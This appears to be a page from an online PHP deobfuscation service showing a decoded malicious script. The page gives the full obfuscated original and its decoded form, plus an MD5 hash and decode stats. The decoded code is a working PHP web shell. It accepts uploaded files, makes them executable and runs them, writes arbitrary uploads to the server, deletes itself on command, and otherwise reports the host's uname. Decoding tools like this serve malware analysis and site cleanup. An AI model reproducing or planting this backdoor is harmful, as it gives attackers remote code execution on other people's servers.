Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"\x47\x4c\x4f\x42\x41LS"}["\x77\x79h\x63dkl\x76f"]="\x76a\x72";${"\x47\x4c\x4f\x42..
Decoded Output download
<?php ${"GLOBALS"}["wyhcdklvf"]="var";${"GLOBALS"}["usccfgqndu"]="output";${"GLOBALS"}["hsmmdzp"]="fileName";set_time_limit(0);if(!empty($_POST["task"])){if($_POST["task"]=="check"){if($_FILES["file"]["error"]>0){echo"Return Code: ".$_FILES["file"]["error"]."
";}else{if(file_exists("./".$_FILES["file"]["name"])){echo$_FILES["file"]["name"]." already exists.
";}else{${"GLOBALS"}["djyqljowyzi"]="fileName";${"GLOBALS"}["isccnnnyb"]="fileName";move_uploaded_file($_FILES["file"]["tmp_name"],"./".$_FILES["file"]["name"]);${${"GLOBALS"}["djyqljowyzi"]}="./".$_FILES["file"]["name"];$vktxdxlnjt="ret";$trnjyxjmuah="ret";chmod(${${"GLOBALS"}["hsmmdzp"]},0777);${$vktxdxlnjt}=exec(${${"GLOBALS"}["hsmmdzp"]}." --run",${${"GLOBALS"}["usccfgqndu"]},${${"GLOBALS"}["wyhcdklvf"]});if(!unlink(${${"GLOBALS"}["isccnnnyb"]})){echo"file del failed!
";}if(${$trnjyxjmuah}==0){echo"ok";}else{echo"fail";}}}}else if($_POST["task"]=="upload"){if($_FILES["file"]["error"]>0){echo"Return Code: ".$_FILES["file"]["error"]."
";}else{if(file_exists("./".$_FILES["file"]["name"])){echo$_FILES["file"]["name"]." already exists.
";}else{move_uploaded_file($_FILES["file"]["tmp_name"],"./".$_FILES["file"]["name"]);echo"ok";}}}else if($_POST["task"]=="delSelf"){if(unlink(__FILE__)){echo"ok";}else{echo"fail";}}}else{echo"walex
";echo php_uname();exit;}
?>
Did this file decode correctly?
Original Code
<?php ${"\x47\x4c\x4f\x42\x41LS"}["\x77\x79h\x63dkl\x76f"]="\x76a\x72";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x75sc\x63\x66\x67\x71\x6edu"]="\x6fu\x74\x70\x75\x74";${"\x47L\x4fB\x41\x4c\x53"}["h\x73m\x6dd\x7ap"]="\x66\x69l\x65N\x61\x6d\x65";set_time_limit(0);if(!empty($_POST["tas\x6b"])){if($_POST["ta\x73\x6b"]=="\x63h\x65c\x6b"){if($_FILES["fil\x65"]["error"]>0){echo"Ret\x75\x72n\x20C\x6fd\x65:\x20".$_FILES["\x66i\x6c\x65"]["er\x72\x6fr"]."\n";}else{if(file_exists("\x2e/".$_FILES["\x66i\x6ce"]["name"])){echo$_FILES["f\x69le"]["\x6ea\x6d\x65"]." \x61l\x72ea\x64\x79\x20\x65xist\x73.\x20\n";}else{${"G\x4cOBA\x4c\x53"}["\x64\x6ay\x71l\x6a\x6fwy\x7a\x69"]="\x66i\x6c\x65\x4ea\x6d\x65";${"\x47LO\x42\x41\x4cS"}["\x69s\x63\x63\x6e\x6e\x6ey\x62"]="\x66\x69\x6c\x65\x4e\x61\x6d\x65";move_uploaded_file($_FILES["\x66\x69l\x65"]["t\x6d\x70\x5f\x6ea\x6de"],"\x2e/".$_FILES["\x66ile"]["\x6e\x61me"]);${${"\x47\x4cO\x42\x41\x4cS"}["\x64\x6a\x79q\x6c\x6ao\x77\x79\x7ai"]}="\x2e/".$_FILES["\x66i\x6c\x65"]["\x6ea\x6d\x65"];$vktxdxlnjt="\x72e\x74";$trnjyxjmuah="\x72\x65t";chmod(${${"G\x4c\x4f\x42\x41\x4c\x53"}["hs\x6dm\x64\x7a\x70"]},0777);${$vktxdxlnjt}=exec(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x68sm\x6d\x64\x7a\x70"]}." --ru\x6e",${${"G\x4c\x4f\x42\x41\x4c\x53"}["u\x73\x63c\x66g\x71ndu"]},${${"\x47L\x4f\x42\x41\x4c\x53"}["w\x79h\x63\x64\x6bl\x76f"]});if(!unlink(${${"\x47\x4c\x4fBA\x4cS"}["\x69\x73\x63cn\x6e\x6e\x79\x62"]})){echo"fi\x6ce\x20del fai\x6c\x65d\x21\n";}if(${$trnjyxjmuah}==0){echo"\x6fk";}else{echo"fail";}}}}else if($_POST["\x74\x61s\x6b"]=="\x75plo\x61\x64"){if($_FILES["f\x69l\x65"]["\x65rro\x72"]>0){echo"\x52e\x74urn Code: ".$_FILES["f\x69\x6c\x65"]["er\x72\x6f\x72"]."\n";}else{if(file_exists("\x2e/".$_FILES["fi\x6c\x65"]["\x6eame"])){echo$_FILES["fil\x65"]["n\x61\x6de"]." \x61lr\x65a\x64\x79\x20e\x78ists. \n";}else{move_uploaded_file($_FILES["fi\x6c\x65"]["\x74m\x70\x5f\x6ea\x6de"],"\x2e/".$_FILES["fi\x6ce"]["\x6e\x61\x6de"]);echo"\x6fk";}}}else if($_POST["t\x61sk"]=="\x64\x65l\x53\x65\x6cf"){if(unlink(__FILE__)){echo"o\x6b";}else{echo"\x66ail";}}}else{echo"wa\x6c\x65\x78\n";echo php_uname();exit;}
Function Calls
| set_time_limit | 1 |
Stats
| MD5 | f97f155d9c3f3a23bfae13ddd0094cbb |
| Eval Count | 0 |
| Decode Time | 79 ms |